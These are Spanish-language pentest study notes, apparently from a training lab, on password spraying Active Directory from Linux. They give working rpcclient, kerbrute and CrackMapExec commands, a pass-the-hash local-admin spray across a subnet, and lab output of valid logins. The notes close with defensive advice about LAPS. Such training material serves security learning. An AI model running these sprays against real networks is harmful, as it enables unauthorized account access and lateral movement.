Password Spraying desde Linux

Resumen

Una vez generada la lista de usuarios válidos, podemos iniciar ataques de password spraying desde un host Linux. Las herramientas más útiles incluyen rpcclient, Kerbrute y CrackMapExec.


🐧 Pulverización desde un host Linux

La idea principal: probar una contraseña contra muchos usuarios, evitando bloqueos de cuenta.


🔧 Método 1: Rpcclient (One-liner en Bash)

Importante

En rpcclient, un inicio de sesión válido no es tan evidente. Debemos filtrar por Authority Name para detectar credenciales correctas.

📌 One-liner de Bash

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

🧪 Resultado en pruebas

Account Name: tjohnson, Authority Name: INLANEFREIGHT
Account Name: sgage, Authority Name: INLANEFREIGHT

🔧 Método 2: Kerbrute (Password Spray Kerberos)

Ventaja

Extremadamente rápido y eficiente.
¡OJO! Los fallos de preautenticación sí cuentan para lockout.

📌 Ejemplo

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1

🧪 Resultado

[+] VALID LOGIN: sgage@inlanefreight.local:Welcome1

🔧 Método 3: CrackMapExec (CME)

Excelente para spray contra SMB.

📌 Password spraying con CME

sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

🧪 Resultado

sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123


🔍 Validación de credenciales con CME

Una vez tenemos un hit, verificamos:

sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Welcome1 | grep +

{F1ED6A51-C782-43CA-85D2-B157DE1EE368}.png


🖥️ Reutilización de Contraseña de Administrador Local

Consideración crítica

La reutilización de contraseñas locales de administrador es común en entornos empresariales por imágenes golden y mala gestión.

Se puede rociar (spray) una contraseña local o hash NTLM sobre múltiples hosts para encontrar máquinas con la misma clave.


🔧 Spray de administradores locales con CME

📌 Ejemplo con hash NTLM

sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

🧪 Resultado

[+] ACADEMY-EA-MX01\administrator  (Pwn3d!)
[+] ACADEMY-EA-MS01\administrator  (Pwn3d!)
[+] ACADEMY-EA-WEB0\administrator  (Pwn3d!)

🔁 Escenarios de reutilización de contraseñas


🔓 Spray usando solo el hash NTLM

¿Por qué funciona?

NTLM usa autenticación basada en desafío/respuesta, no se necesita la contraseña en texto claro.

Usando --local-auth evitamos riesgo de bloquear la cuenta builtin Administrator.


🛡️ Consideraciones de Seguridad

Técnica ruidosa

No recomendable en ejercicios donde se requiere sigilo.

Recomendación para clientes

Implementar Microsoft LAPS para rotar automáticamente contraseñas locales únicas en cada host.